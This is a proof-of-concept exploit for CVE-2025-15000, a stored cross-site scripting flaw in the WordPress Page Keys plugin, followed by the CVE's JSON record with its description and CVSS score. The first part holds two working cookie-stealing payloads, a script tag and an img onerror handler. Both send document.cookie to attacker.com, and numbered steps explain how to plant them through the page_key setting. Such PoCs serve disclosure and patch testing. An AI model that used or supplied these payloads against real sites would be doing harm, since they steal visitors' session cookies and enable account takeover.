CVE-2025-15000

<!-- WordPress Page Keys Plugin XSS PoC --> <!-- Requires: Admin privileges, Multi-site or unfiltered_html disabled --> <!-- Malicious page_key payload --> <script> // Cookie stealing payload var cookie = document.cookie; fetch('https://attacker.com/steal?c=' + btoa(cookie), { mode: 'no-cors' }); </script> <!-- Alternative payload using event handlers --> <img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)"> <!-- Steps to exploit --> <!-- 1. Login as WordPress administrator --> <!-- 2. Navigate to Page Keys plugin settings --> <!-- 3. Create or edit a page key with XSS payload in the page_key parameter --> <!-- 4. Save the configuration --> <!-- 5. When any user visits pages with the malicious key, the script executes -->

{"cve": {"id": "CVE-2025-15000", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:58.390", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Page Keys plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘page_key’ parameter in all versions up to, and including, 1.3.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/page-keys/tags/1.3.3/inc/ListTable.php#L260", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/page-keys/trunk/inc/ListTable.php#L260", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2d3863ec-0cc7-4128-a19e-fc1e2c31195e?source=cve", "source": "[email protected]"}]}}